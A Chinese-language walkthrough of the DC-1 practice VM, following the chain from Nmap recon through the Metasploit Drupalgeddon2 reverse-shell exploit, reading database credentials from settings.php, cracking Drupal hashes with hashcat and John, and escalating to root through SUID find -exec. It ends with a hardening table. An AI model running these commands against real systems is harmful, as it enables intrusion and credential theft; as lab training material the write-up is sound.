玩渗透测试的人应该都听过 DC 系列靶场，而 DC-1 作为这个系列的第一台机器，虽然难度标的是入门级，但真要完整走一遍，从信息收集到 getshell 再到提权，中间涉及的知识点密度其实相当高。它可以让你在一套可控、合法的演练环境里，把平时零散学到的 Nmap 扫描、CMS 漏洞利用、数据库分析、Linux 提权技巧全部串起来，形成一个完整的渗透测试方法论。特别适合刚接触渗透测试的新手、准备攻防演练的选手，以及想系统梳理思路的进阶学习者。
我想强调一点：这篇文章所有的操作都基于本地虚拟化环境中的靶机，完全合法合规。你可以放心跟着一步步复现，理解每个环节背后的原理，而不是单纯复制粘贴命令。
1. 内容整体设计与思路拆解
1.1 DC-1 靶场到底考什么
DC-1 是一台基于 Drupal 7 搭建的 Linux 靶机，整套流程被设计成一条相对清晰的渗透链路。它一共放置了 5 个 flag，从最初的 Web 入口，到数据库权限，再到系统用户权限，最后到 root 权限，层层递进。与其说它是让你挖洞，不如说它是把你带进一个真实环境中，让你体验攻击者面对一台陌生主机时是怎么一步步建立据点、横向探测、提升权限的。
很多初学者容易犯一个错误：拿到靶机后急着找漏洞、打 exploit，结果扫了半天也进不去。DC-1 的巧妙之处在于它逼你先做信息收集。你要从开放的端口里识别出 Web 服务，再从 Web 服务的指纹信息里判断 CMS 版本，接下来才能选择合适的攻击载荷。这其实就是一个标准的渗透测试闭环：踩点-扫描-枚举-利用-提权。每一环出了问题，后面都会卡住。
1.2 环境配置与技术栈
我用的环境是这样的：
- 攻击机：Kali Linux 2023 虚拟机，网络模式 NAT
- 靶机：DC-1 虚拟机，网络模式与攻击机一致
之所以强调网络模式一致，是因为 DC-1 默认开启 DHCP，如果你的攻击机和靶机不在同一个网段，后面 IP 发现就无从谈起。我也见过有人用 VMnet 8 或者自定义的 Host-Only 网络来做隔离，这样更干净，但前提是攻击机的网卡也要配在同一个虚拟网络里。
整个过程中我预计会用到这些技术点：
- 主机发现与端口扫描：arp-scan、Nmap
- Web 指纹识别：浏览器直接访问、服务器响应头分析
- CMS 漏洞利用：针对 Drupal 的远程代码执行漏洞模块
- 数据库枚举：MySQL 常规操作，读取用户表信息
- 口令破解：对数据库中的哈希值进行分析和离线破解
- Linux 提权：SUID 特殊权限位的利用
每一个环节我都会拆开讲，包括命令怎么敲、预期看到什么结果、出了问题怎么排查，尽可能让你跟着走就能复现。
2. 环境准备与信息收集实操
2.1 目标机 IP 发现
把 DC-1 导入虚拟机并启动后，我先给攻击机配置好同网段地址，然后开始找靶机 IP。这里有个小技巧：不要上来就 Nmap 扫 192.168.1.0/24 大网段，效率太低。先看看 DHCP 分配的租约，或者直接用 arp-scan 抓二层广播，这个方式在局域网里识别新机器非常快：
sudo arp-scan --localnet运行结果里会列出本网段所有活跃主机的 IP 和 MAC 地址。Kali 的 MAC 前缀一般能直接看出来，剩下的那台陌生主机基本就是 DC-1。我这次环境里靶机 IP 是 192.168.1.105，不同的网络环境分配到的地址会不一样，但方法是一致的。
如果你用 arp-scan 没扫到，还可以试试 netdiscover：
sudo netdiscover -r 192.168.1.0/24netdiscover 会持续监听网段内的 ARP 报文，即使对方不主动应答也能慢慢收集到。
2.2 端口扫描与服务识别
拿到 IP 之后，我用 Nmap 做了一次全端口扫描，顺便识别服务版本和操作系统指纹。这条命令我建议直接记下来，适用范围很广：
nmap -sS -sV -p- -O 192.168.1.105参数说明一下：-sS 是 SYN 半开扫描，速度快；-sV 探测服务版本；-p- 扫全部 65535 个端口；-O 做操作系统指纹识别。扫描结果让我锁定了一个关键信息：
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) MAC Address: 08:00:27:XX:XX:XX看到这个结果，我的第一反应是：这是一个老版本 Debian 系统。Apache 2.2.22 和 OpenSSH 6.0p1 都透着一股"年代感"，这类旧系统往往带着多个已知漏洞，而且默认配置也可能存在疏忽。SSH 端口虽然开着，但我们现在没有凭据，暂时先不动它，重点放到 80 端口上。
2.3 访问 Web 服务与指纹确认
浏览器打开 http://192.168.1.105，页面是一个 Drupal 默认安装界面。Drupal 是一款主流的开源 CMS，它的默认页面非常有辨识度：顶部导航栏、左侧主菜单、下面是欢迎内容。
我习惯先看响应头里的 X-Generator 或 Server 信息，再用浏览器访问 /CHANGELOG.txt 这类文件来确认精确版本。不过 DC-1 的页面已经被改过，直接读文件可能无效。这时候可以用 curl 抓首页源码：
curl -I http://192.168.1.105/如果响应头没有暴露版本号，也可以看看页面底部的 meta 标签，或者 /sites/default/files 目录的生成信息。确认 Drupal 7 之后，我心里基本有数了：这个版本存在已知的远程代码执行漏洞，后面的利用路径就比较明确了。
信息收集到这里，可以整理出一张简单的资产清单：
| 项目 | 内容 |
|---|---|
| 目标 IP | 192.168.1.105 |
| 操作系统 | Linux（Debian 系列，老版本） |
| 开放端口 | 22/tcp（SSH）、80/tcp（HTTP） |
| Web 服务 | Apache 2.2.22 |
| CMS | Drupal 7 |
| 疑似弱点 | Drupal 远程代码执行、弱口令可能 |
3. 漏洞发现与初始 Shell 获取
3.1 选择 Drupal 漏洞利用模块
Drupal 7 历史上出过好几个严重漏洞，其中最著名的就是 Drupalgeddon 系列，本质是 Form API 处理数组时没有正确校验，导致攻击者可以构造恶意请求执行任意 PHP 代码。既然确认了目标版本在受影响范围内，我决定直接使用渗透测试框架中自带的 Drupal 漏洞利用模块。
启动 Metasploit：
msfconsole然后加载模块：
use exploit/unix/webapp/drupal_drupalgeddon2这个模块对应的是 CVE-2018-7600，也就是 Drupalgeddon2。虽然 DC-1 发布时间早于这个漏洞，但靶机环境往往预装了存在漏洞的 Drupal 版本，所以实测是可行的。如果你在这台靶机上用这个模块没有生效，可以考虑手工构造 POST 请求打 Drupalgeddon 第一个漏洞版本，或者换用其他 Drupal 相关模块多试试。
3.2 配置目标与执行攻击
模块加载后，需要设置目标地址：
set RHOSTS 192.168.1.105 set LHOST 192.168.1.100 set LPORT 4444 runLHOST 要填攻击机自己的 IP，保证靶机能够反向连回来。整个漏洞利用逻辑是：Drupal 在处理表单请求时，某些参数允许传入 PHP 数组，攻击者把 payload 伪装成数组结构，触发 eval 执行。模块发送了一系列精心构造的 HTTP 请求，最终在目标上执行了 Meterpreter 反向连接 payload。
如果一切顺利，你会看到：
meterpreter >到了这一步，我们已经在目标上有了一个 shell 权限，但身份还是 www-data，也就是 Web 服务的账户，权限非常有限。先别急着高兴，整理一下战果：执行 shell 命令，确认当前目录和用户身份，并找一下第一个 flag。
pwd id ls -la3.3 读取 flag1 与 Shell 交互优化
在 /var/www/html 目录下，我看到了 flag1.txt，这就是第一个 flag：
cat flag1.txt内容是一句提示：
Every good CMS needs a config file - and so do you.
这句话的意思是"每个好的 CMS 都需要一个配置文件，你也一样"。它是在暗示：接下来要去看 Drupal 的配置文件，数据库的密码之类的敏感信息就藏在里面。花一点时间理解这个提示，比继续盲目乱翻目录要高效得多。
Meterpreter 自带的 shell 用起来不太方便，尤其涉及交互式命令时容易卡住。我建议先升级到一个标准 shell。可以利用 Meterpreter 的 shell 命令进入系统终端，然后通过 Python 生成一个 pty 伪终端：
python -c 'import pty; pty.spawn("/bin/bash")'这条命令的作用是生成一个交互式 shell，搭配 Ctrl+C 等信号处理会正常很多，后续操作数据库和提权都会舒服不少。
4. 数据库拆解与后台接管
4.1 定位 Drupal 配置文件
按照 flag1 的提示，Drupal 的数据库配置文件路径是 sites/default/settings.php。切换到该目录查看：
cd /var/www/html/sites/default ls -la cat settings.php这个文件是 Drupal 站点最核心的配置文件，里面保存了数据库类型、主机名、用户名、密码、前缀等敏感信息。我很快找到了这些字段：
'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'xxxxx', 'host' => 'localhost', 'port' => '3306',同时在这个文件目录下还发现了一个隐藏的 flag2.txt。打开后发现内容是一句关于暴力破解和字典攻击的提示：它暗示管理员口令不是直接爆破能解决的，你需要结合前面拿到的信息另辟蹊径。
4.2 连接 MySQL 数据库
既然拿到了数据库账号密码，下一步自然是连接本地的 MySQL 服务。命令行操作：
mysql -u dbuser -p -h localhost drupaldb输入密码后进入数据库。先看看有哪些表：
show tables;重点关注 users 表，里面保存着后台管理员账号和密码哈希。Drupal 的密码哈希机制比较特殊，它不是纯 MD5，而是一个多次迭代的哈希算法，验证时需要用到盐值。直接查询：
select name, pass from users;你会看到类似下面的输出：
admin $S$CXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX这串哈希以 $S$ 开头，是 Drupal 7 标准的密码哈希格式。不要想着在线查表直接反查，这类哈希加盐后计算代价不小，跑字典也需要时间，但口令强度低的话依然能破解。
4.3 后台管理员密码破解
取出哈希以后，我把它保存到本地文件 hash.txt。然后用 Hashcat 跑字典。这里需要选择正确的哈希模式，Drupal 7 的对应模式编号是 7900：
hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt --force跑之前注意，rockyou.txt 在 Kali 上默认是压缩状态，需要先解压：
sudo gunzip /usr/share/wordlists/rockyou.txt.gz破解结果取决于字典里是否包含目标密码。DC-1 设计时就考虑到了这一点，管理员密码强度并不高，字典大概率能跑出来。我这次跑了一会儿就出结果了，明文是一串单词组合。
除了 Hashcat，John the Ripper 也可以处理这个格式：
john --format=drupal7 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt两种工具原理一致，选一个习惯的就行。
4.4 登录 Drupal 后台与扩展权限
拿到后台密码后，我直接用浏览器访问 http://192.168.1.105/user/login，输入 admin 和破解出的密码，顺利进入管理界面。Drupal 7 后台的布局比较传统，顶栏是管理菜单，中间是仪表盘。
进入后台最大的意义在于：你拥有了网站内容管理权限，可以上传模块、修改主题模板，而这些操作最终都能转化为 PHP 代码执行。比如找一个已有的文章，把内容替换成一段 PHP 代码，再利用编辑器的筛选机制触发执行，这样就能在后台层面拿到一个更高权限的 Web Shell。
不过 DC-1 的规划其实不依赖后台 getshell，后面还有更直接的路径。但后台权限这一步本身就是完整渗透链路的一部分，意味着你已经从"仅知道密码"升级到了"可以控制网站内容"，这对很多真实场景来说已经是很大的战果。后台另一个页面里我找到了 flag3，内容和其他 flag 一样是一段提示，指引往后关注系统服务权限滥用的问题。
5. 从 Web 权限到系统用户
5.1 枚举系统用户与密码复用
拿到后台权限之后，我回到 shell 环境，准备把权限从 www-data 往真实系统用户方向扩大。先看看系统里有哪些用户：
cat /etc/passwd这个文件列出了所有系统账号，但密码哈希通常在 /etc/shadow 里，只有 root 或有 sudo 权限才能读。我能看到的是用户名和一些 UID 信息。列表里除了 root 和系统服务账号，还有 flag4 这个特殊用户，它的家目录是 /home/flag4。
切换到 /home/flag4 目录看看：
ls -la /home/flag4 cat /home/flag4/flag4.txtflag4 的内容是一句提示：问你能不能使用同样的方法来找到或访问 root 的 flag。这句话值得留意——它意味着拿到普通用户权限还不够，接下来的核心目标是提权到 root。
在真实环境的渗透测试中，密码复用是一个很常见的利用点。很多人图省事，数据库密码、系统用户密码、后台密码全部相同。我尝试用刚才破解的后台密码去 SSH 登录系统用户：
ssh flag4@192.168.1.105如果成功，你就拥有了一个真实的系统用户 SSH 会话。不过我在当前靶机上没有直接用这个方法，因为后面还有一条更经典的提权路径，但这条思路值得记下来，应急响应里经常靠这一步就打开了新局面。
5.2 寻找 SUID 特殊权限文件
Linux 系统里存在一类特殊权限位：SUID（Set User ID）。当一个文件设置了 SUID 位，任何用户执行这个文件时，进程的有效 UID 都会临时切换为文件所有者的 UID。如果所有者是 root，那么这个程序运行时就拥有 root 权限。
这种机制设计的初衷是让普通用户有限地执行特权操作，比如 passwd 命令就必须以 root 身份运行才能修改 /etc/shadow。但如果系统管理员错误地把一些强大的命令也设置了 SUID，就给了攻击者一个绝佳的提权入口。
搜索整个系统中有 SUID 权限的文件：
find / -perm -4000 -type f 2>/dev/null-perm -4000 表示匹配包含 SUID 位（八进制 4000）的文件，2>/dev/null 用来屏蔽没权限访问目录的报错信息。输出结果里能看到常见的 /usr/bin/passwd、/usr/bin/su 这些无害项，但真正亮眼的是这一行：
/usr/bin/findfind 命令竟然带 SUID？这说明普通用户执行 find 时，权限直接是 root。这通常是管理员为了方便某个运维脚本而配置的，却给提权留了大门。
5.3 利用 find 的 SUID 权限验证
find 命令有个 -exec 参数，可以执行任意系统命令。当它以 root 身份运行时，它执行的每条命令也都是 root 权限。我先做个最简单的验证：
find / -exec whoami \;命令的作用是为每个匹配到的路径执行 whoami 命令。由于权限原因，命令输出会混入大量 "Permission denied" 报错，但关键是看 whoami 的结果。如果输出是 root，就说明这条利用链已经成立。
我第一次执行的时候，输出刷得满屏都是，你要注意找准最关键的信息。可以把报错忽略掉，只关注正常的执行结果。如果 too many 干扰，换一个限制范围的方式：
find /tmp -exec whoami \;只要 working 目录下能匹配到文件，就能看到执行结果。看到 root 后，接下来就是读取最终 flag。
5.4 获取最终 flag
利用 find 直接读取 root 家目录的 flag 文件。先看看 root 目录里有什么：
find /root -exec ls -la {} \;这一步能看到 /root 下面的文件列表，然后针对性读取：
find /root -exec cat thefinalflag.txt \;如果文件名不完全确定，可以先 cat 所有看似文本的文件，或者直接：
find /root -name "*flag*" -exec cat {} \;这样终于拿到了最终的 root flag，DC-1 的全部 5 个 flag 就此集齐。整个过程走到这里，你已经完整地经历了一次从 Web 入口到系统提权的渗透链路。回头看看，每一层都需要前面收集的信息做支撑，环环相扣。
6. 提权思路扩展与防御视角反思
6.1 除 find 之外的其他提权方向
其实在 DC-1 里，拿到 root 权限的路径不止 find 这一条。如果 /usr/bin/find 没有 SUID，你还可以试试其他高风险命令，比如 vim、python、perl、nmap 这些带交互或命令执行能力的工具。它们只要被设置了 SUID，同样可以被利用来反弹 root shell。
还有一个思路是检查计划任务。看看 /etc/crontab 或者 /var/spool/cron 里面有没有以 root 身份周期性执行的脚本。如果某个脚本目录对普通用户可写，你就可以往里面塞一段反弹 shell 的命令，等计划任务触发时就直接拿到 root。
此外，如果内核版本过老，还可以考虑内核漏洞提权。老版本 Debian 上常见的脏牛漏洞就是一个选择。不过这个思路在 DC-1 上不建议用，一是容易把靶机搞崩，二是 SUID 提权已经足够干净，没有必要冒风险。真实渗透测试中也是同样的原则：能用最简单配置问题解决的，就不要去碰内核。
6.2 从攻击视角转向防御加固
练完 DC-1 之后，我建议你把角色切换成防守方，再重新看一遍这台靶机。你会发现每一个被利用的环节，都对应着一个明确的加固措施：
| 漏洞点 | 被利用方式 | 加固建议 |
|---|---|---|
| Drupal 旧版本远程代码执行 | 发送恶意表单请求打包 PHP 执行 | 及时打安全补丁，升级 CMS 到最新稳定版 |
| 配置文件里明文保存数据库密码 | 读取 settings.php 获取数据库账号 | 分离配置文件权限，敏感字段使用环境变量或密钥管理 |
| 后台弱口令 | 哈希字典离线破解 | 强制复杂密码策略，启用登录失败锁定机制 |
| 系统命令 SUID 配置错误 | 通过 find -exec 以 root 执行命令 | 定期审计全盘 SUID 文件，移除非必要的 SUID 位 |
| Web 服务权限过大 | www-data 可读取站点内多处关键文件 | 遵循最小权限原则，限制 Web 服务账户的文件访问范围 |
这些问题放在真实企业环境中，就是等保测评里经常提到的"安全管理漏洞"。DC-1 的优势在于用一个很小的范围，把所有问题都浓缩了进去，让你一次性领教一遍。
6.3 如何举一反三
练完 DC-1，你可以继续挑战 DC-2、DC-3，它们分别在 WordPress 主题、多级提权、密码策略等层面做了加深。我个人的建议是：不要只刷靶机，而是每打完一台，就针对里面用到的每个技术点，去查对应的漏洞细节和原理源码。理解原理之后再动手，才是成长最快的方式。
比如 Drupalgeddon 的漏洞原理，你至少应该搞清楚 Form API 的数组键名为什么不安全；SUID 提权你也应该明白进程的有效 UID 和真实 UID 的区别。只有把这些底层机制消化掉，下次遇到一个陌生的 CMS 或陌生的权限配置时，你才能举一反三，而不是只会跑工具。
7. 常见问题与排查技巧实录
7.1 靶机 IP 始终扫描不到
很多人第一步就卡住。DC-1 的虚拟机启动后，如果迟迟扫不到它的 MAC 地址，先确认两个网卡是否都挂在同一个虚拟网络。我习惯直接在虚拟机设置里把两张网卡都改成 NAT，如果 Kali 是桥接，靶机也桥接，总之保持一致。
如果确认网络没问题，还可以到 DHCP 服务器租约文件里翻记录，或者在靶机控制台界面登录（如果配置了自动登录）直接查看 IP 配置。实在不行就重启一下靶机，有时候 DHCP 分配会失败。
7.2 Drupal 漏洞模块执行失败
使用 drupal_drupalgeddon2 如果返回失败，先别急着换目标。检查你有没有先在浏览器里确认目标确实是 Drupal，且网络连接正常。模块执行失败常见原因有三个：靶机从未连接过外网导致依赖资源不可用；LHOST 填成了 127.0.0.1；Metasploit 版本太老缺少对应模块。
我遇到一次很奇怪的情况，模块显示成功创建会话但很快断开，最后发现是攻击机防火墙拦截了 4444 端口反弹连接。可以先临时关闭防火墙再试。
7.3 数据库无法连接或认证失败
用 settings.php 里拿到的账号密码连接数据库时，注意主机名填 localhost 还是 127.0.0.1。TCP 连接 127.0.0.1 走的是 TCP 协议，而 localhost 在某些环境下会触发 MySQL 的 Unix Socket 连接，路径不对就会报错。
如果密码不对，检查是不是复制时多复制了空格。MySQL 对空格的容忍度取决于版本，新版本某些配置下会自动忽略尾部空格，老版本不会。
7.4 密码哈希破解不出结果
想不出来别硬想。Drupal 7 的哈希是加盐的，和普通 MD5 不同，用错工具或错模式基本跑不出结果。先确认哈希模式是 7900，再确认字典路径正确。如果默认字典里没有，可以自己组合一些常见弱口令规则。
另一个常见坑是文件编码问题。从数据库复制哈希到本地文件时，可能会带上换行符或特殊字符，导致破解工具识别异常。用编辑器打开，确保哈希只有一行，没有隐藏字符。
7.5 执行 find 提权时命令被截断或乱码
find -exec 命令的语法要特别注意结尾的分号需要转义。在 shell 里直接写：
find / -exec cat /root/flag.txt \;这条命令的结尾分号被反斜杠转义，表示把分号作为 find 命令的参数而不是 shell 的命令结束符。如果你写成了不加反斜杠的分号，shell 就会提前截断，命令执行逻辑就乱了。还有一些环境里 find 的输出路径太长导致显示不全，可以配合 -maxdepth 参数限制搜索深度。
7.6 低版本 OpenSSH 是否还有利用空间
DC-1 的 22 端口开的是 OpenSSH 6.0p1，这个版本本身存在一些用户枚举漏洞，但没有直接的远程代码执行。在没有凭据的情况下，SSH 端口更适合作为口令爆破的入口，或者等拿到系统用户密码后直接用 SSH 稳定登录，避免一直依赖 Web 层面的弱 shell。渗透过程中，永远优先使用最稳定的通道。
我的习惯是拿到一个系统用户凭据后，立刻尝试 SSH 登录。即使后面 Web 会话断开，SSH 会话也能保证你继续操作目标机。这属于渗透测试中的持久化基础思路。
7.7 靶机被玩坏了怎么办
练提权时如果操作不当把系统搞挂，不用慌。DC-1 这类虚拟化靶机本身就是用来折腾的。直接恢复到初始快照，或者干脆重新导入虚拟机镜像。没人规定一次就要打完全部 flag，断点续打也是正常的。
但有个建议：在拿到初始 shell 之后，第一时间做一个快照。这样的话就算后面把什么文件改坏了，也可以很快回到可控状态，不用从头扫一轮。
写在最后
说实话，DC-1 我前前后后打了三遍，第一遍用 Metasploit 一路顺风，第二遍手写 Drupal 漏洞利用脚本，第三遍故意不用框架，全部手工构造请求、手工处理哈希、手工找提权点。每一次都有不一样的收获。DC-1 最好的地方在于它不会让你卡死在某一个环节，但每个环节都不白给，你要动脑子才能过去。
如果让我给新手一个建议，就是先不看任何攻略，自己打到卡住为止；卡住了再去看别人的思路，理解你卡在哪里、为什么没想到。这个靶机值得你多用几种方式打通，吃透它比刷完十台简单靶机都有价值。后续你再挑战 DC 系列其他机器，就会觉得顺手很多。
